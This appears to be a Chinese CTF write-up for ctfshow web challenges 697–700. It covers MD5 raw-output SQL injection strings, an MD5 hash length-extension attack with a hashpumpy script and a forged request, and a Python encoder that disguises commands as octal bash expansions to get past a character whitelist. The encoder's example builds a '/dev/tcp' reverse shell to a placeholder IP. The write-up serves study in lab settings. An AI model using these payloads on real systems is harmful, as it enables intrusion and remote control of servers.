web697

先扫一下，其实也可以不用扫
因为什么也扫不出来

这里看到有一个参数


尝试一下数组

随便输了，出了验证回显抓个包看

ffifdyop
e58
4611686052576742364

这三个md5加密可以自带引号

SELECT master FROM secret WHERE password = binary ' ,¹b¬Y[–K-#Kp'

web698

hash长度攻击

以为是注入但是admin之后给的提示是hash

cookie中有个值为0，此时如果我们改成1会怎么样呢

@error_reporting(0);

$flag = "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
$secret_key = "xxxxxxxxxxxxxxxx"; // the key is safe! no one can know except me

$username = $_POST["username"];
$password = $_POST["password"];
header("hash_key:" . $hash_key);

if (!empty($_COOKIE["getflag"])) {
    if (urldecode($username) === "D0g3" && urldecode($password) != "D0g3") {
        if ($COOKIE["getflag"] === md5($secret_key . urldecode($username . $password))) {
            echo "Great! You're in!\n";
            die ("<!-- The flag is ". $flag . "-->");
        }
        else {
            die ("Go out! Hacker!");
        }
    }
    else {
        die ("LEAVE! You're not one of us!");
    }
}

setcookie("sample-hash", 




, time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    echo "<source_code>";
    }
}

得到secretkey然后就可以为所欲为了，但是这个怎么得到呢
从sample-hash里面爆破出来诶那怎么获得呢，这里由于ctfshow的源码问题，我们的
hash_key=d5e1090511b80a55f206f1b0c03c8b5a; 就是
也就是说md5(secretkeyadminadmin)得到的值

 import hashpumpy

# def hashpump(hexdigest, original_data, data_to_add, key_length)
aaa = hashpumpy.hashpump("d5e1090511b80a55f206f1b0c03c8b5a","D0g3","bao",14)

print(aaa)

脚本和工具都可以打通，但是这个包我一直下载不了
我就在kali下载的工具打的，怎么下载就不说了，网上是有教程的

最后的包

POST /index.php HTTP/1.1
Host: 35a5d8b0-2503-4449-b7bc-6a86be132b0a.challenge.ctf.show
Cookie: hash_key=d5e1090511b80a55f206f1b0c03c8b5a; source=1;getflag=b3e208bbd53844729543fbbcd34e254c
Content-Length: 182
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://35a5d8b0-2503-4449-b7bc-6a86be132b0a.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://35a5d8b0-2503-4449-b7bc-6a86be132b0a.challenge.ctf.show/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close

username=D0g3&password=D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00bao&submit=submit

但是为什么是14呢上面的长度明明是16哇

Input Data to Add:这个是可以随便填的（添加的内容）
Input Signature:填原始的md5
Input Key Length: 不知道
predicted sig:转化出来的md5

文章非常好的文章

web699

<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
    $test = $_POST['cmd'];
    $white_list = str_split('${#}\\(<)\'0'); 
    $char_list = str_split($test);
    foreach($char_list as $c){
        if(!in_array($c,$white_list)){    相当于正则，只能用上面的符号构造命令
                die("Cyzcc"); 
            }
        }
    exec($test);
}
?>

这里的思路是进制表示命令那么使用特性构造出数字之后再打
介于是位运算我也不太熟那么本地一下？
欧克经过本地尝试决定还是记笔记吧有点难以理解

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

$0<<<$0\<\<\<\$\    
$0<<<$0        是-bash
\<\<\<     这个是<<<

web700

[安洵杯 2019]cssgame
csrf 没打通，不懂为啥

哎，这些题一个题就够我喝一壶了，有些麻烦